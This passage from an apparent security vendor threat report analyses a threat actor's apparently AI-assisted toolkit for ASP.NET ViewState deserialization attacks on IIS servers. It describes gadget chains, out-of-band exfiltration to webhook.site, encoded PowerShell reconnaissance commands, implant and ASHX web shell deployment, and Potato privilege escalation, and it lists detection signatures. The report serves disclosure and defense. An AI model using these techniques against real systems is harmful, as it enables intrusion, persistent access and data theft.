This section details the threat actor's use of “ysoserial.exe”, a well-known .NET deserialization payload generation toolkit, configured specifically for the ViewState attack surface. The guide documents the TypeConfuseDelegate gadget chain as the preferred choice, noting it leverages Process.Start() for command execution and remains fully functional on .NET 4.8. Importantly, the attacker explicitly corrects a common misconception: Contrary to claims in several public articles, .NET 4.8 does not patch these gadget chains.

The fourth section provides a Python automation script that integrates ysoserial.exe invocation and HTTP POST submission into a single workflow. The script targets the __VIEWSTATE parameter with the generated payload, mirrors the __VIEWSTATEGENERATOR value in both the POST body and the generation arguments (a critical alignment requirement), and intentionally suppresses redirects. The threat actor also documents a response-code interpretation table. Notably, an HTTP 500 with InvalidCastException is the expected success indicator, not a failure. This inverted success condition is a defensive blind spot: network monitoring tools that alert on 5xx responses may generate excessive noise, while the actual exploit succeeds silently in the error stream.

The fifth section in the guide documents a critical lesson the threat actor learned through trial and error: Time-based blind testing (e.g., ping -n 10 or timeout /t 10) is entirely ineffective for confirming ViewState RCE. Because Process.Start() is asynchronous and returns immediately, no execution delay is observable from the HTTP response. The attacker pivoted to out-of-band (OOB) HTTP callbacks using certutil, PowerShell + curl, and DNS nslookup to confirm execution.

Following RCE confirmation, the guide documents a systematic reconnaissance playbook executed entirely via PowerShell encoded commands, a well-known AMSI and logging evasion technique. The attacker collects system information, privilege tokens, web directory listings, IIS site configurations, network interface data, and running processes and all exfiltrated via HTTP POST to a remote web hook. 

With reconnaissance data, the AI documented three escalating methods for establishing persistent interactive access. The preferred path is direct deployment of a custom implant, referred to internally as "SPECTRE," via certutil download. As fallbacks, the guide covers writing an ASHX web shell to the IIS webroot, with a note on handling AppPool write permission restrictions, and a PowerShell TCP reverse shell.

The final exploitation step documented is privilege escalation from IIS AppPool identity to SYSTEM. The guide identifies SeImpersonatePrivilege, a token privilege routinely granted to IIS worker processes, as the escalation vector, and lists the "Potato" family of exploits as compatible tools. The AI also references a built-in capability within their SPECTRE implant to perform this escalation automatically.

This ninth section represents the most significant finding in the recovered artifact: a detailed record of an active intrusion against a real target. The document logs specific infrastructure details including target hostnames, backend and frontend IP addresses, the exploited page path, .NET runtime version, and the MachineKey values used. Of particular note is the observation that a MachineKey is scoped to the IIS site level, meaning keys extracted from one virtual host cannot be applied to co-hosted sites.

Check paths script created by AI 

The first Python script (“check_paths.py”) was recovered from the threat actor infrastructure and represents a post-exploitation diagnostic step. It has five sequential OOB callback tests to a “webhook.site” exfiltration endpoint: 

1. Confirm baseline write capability (“c:\windows\temp”) that validates RCE is functional 
2. Exfiltrate the ACL of the target webroot (icacls) that checks if IUSR/IIS_IUSRS can write 
3. Attempt direct file write to the webroot, capturing the exact exception if it fails 
4. Query IIS physical paths via “appcmd.exe” list vdir that discovers actual virtual directory mappings 
5. Probe multiple candidate webroot subdirectories for both existence and write access 

After firing all probes, the script polls the webhook.site API directly to harvest all callback results in-session.

Deploy implant script created by AI 

The second Python script (“deploy_implant.py”) handles the execution phase. Leveraging the same ViewState deserialization primitive, this script downloads and launches the SPECTRE binary implant. The implant is hosted on the attacker's C2 infrastructure and is initially retrieved by the victim's machine using certutil. Following a six-second sleep period, the script executes a PowerShell probe utilizing Test-Path and Get-Item.Length to verify the deployment, reporting the results back via the established webhook.site exfiltration channel. Should the certutil download fail, the script features a built-in fallback mechanism, automatically retrying the download using New-Object Net.WebClient.

Deploy shell script created by AI 

The third Python script (“deploy_shell.py”) establishes persistent access within the attack chain. Its objective is to deploy a durable ASHX web shell (“sss.ashx”) onto the compromised IIS server utilizing the same ViewState deserialization primitive seen in the previous scripts. Because the deserialization vulnerability only permits command execution rather than direct file uploads, the script circumvents this limitation using a two-step approach. First, it uses PowerShell to write a temporary file upload handler (“up.ashx”) to disk. Second, it leverages this newly created handler as an HTTP relay to upload and place the final web shell (“sss.ashx”). 

The first step involves deploying a minimal, eight-line C# ASHX handler to the target server. To accomplish this, the script Base64-encodes the handler's source code and subsequently leverages the PowerShell [IO.File]::WriteAllBytes method to decode and write the file directly into the webroot.

The second step is to verify “up.ashx” is reachable.

The third step involves uploading the final web shell via the previously established upload handler. The script initially attempts to source the web shell from a hardcoded local path on the attacker's machine: “C:\Users\dajiba\Desktop\phantom-v2\data\arsenal\webshells\sss.ashx”. If this local file is unavailable, it employs a fallback mechanism, downloading “sss.ashx” from a secondary staging server located at “139.180.197[.]150:54321”. Finally, the web shell is transmitted to “up.ashx” via an HTTP POST request, utilizing an explicit destination path parameter to deploy it across both virtual host webroots. Analysis of the remote machine revealed the username “dajiba.” This string is the pinyin romanization for the Chinese term “大雞巴.”

The final step confirms that the web shell is live by fetching it and verifying that the HTTP response size exceeds 100 bytes. Once validated, the script immediately initiates a live execution test by sending the following payload: {'a': 'Execute', 'cmd': 'whoami', 'p': 'dir'}. 

Exfiltration script created by AI 

The fourth python script (“exfil.py”) blends exfiltration traffic with legitimate software-as-a-service (SaaS) traffic over HTTPS to a webhook.site endpoint. The exfiltration have three stages and each stage command is encoded as UTF-16-LE Base64 and passed to powershell -nop -enc. Below are three distinct reconnaissance payloads fired sequentially: 

1. Webroot enumeration: dir C:\inetpub\wwwroot\ -Name reveals deployed applications and potential secondary attack surfaces. 
2. IIS site inventory: appcmd.exe list site exposes the full virtual hosting topology, binding configurations, and additional host names running on the same box for preparation of the next stage BadIIS installation.  
3. Privilege assessment: whoami /priv determines whether the IIS worker process runs under a high-privilege account (e.g., NETWORK SERVICE with SeImpersonatePrivilege), the standard prerequisite for a token impersonation or Potato-family privilege escalation.

Findings log created by AI 

Talos analyzed a findings log that documents confirmed RCE via ASP.NET ViewState deserialization on a target IIS server. Using a webhook.site listener, the threat actor received more than 12 HTTP callbacks. These callbacks not only confirmed the successful execution of four distinct ysoserial gadget chains on .NET 4.8.4797.0, but they also exfiltrated valuable reconnaissance data. The exfiltrated telemetry revealed the host name and user identity, that the webroot contained 13 site directories, and recorded an access denial when attempting to read “redirection.config”. In addition, the data also confirmed that SeImpersonatePrivilege was enabled, highlighting a viable path for Potato-family privilege escalation.

Coverage 

The following ClamAV signatures detect and block this threat: 

• Py.Loader.Tool-10060293-1 
• Py.Loader.Tool-10060293-2 
• Win.Malware.Generic-10060228-0 
• Win.Loader.Downloader-10060287-1

The following SNORT® rules (SIDs) detect and block this threat:  

• Snort2: 1:66697, 1:66696 
• Snort3: 1:66697, 1:66696

Indicators of compromise (IOCs) 

IOCs can also be found in our GitHub repository here. 

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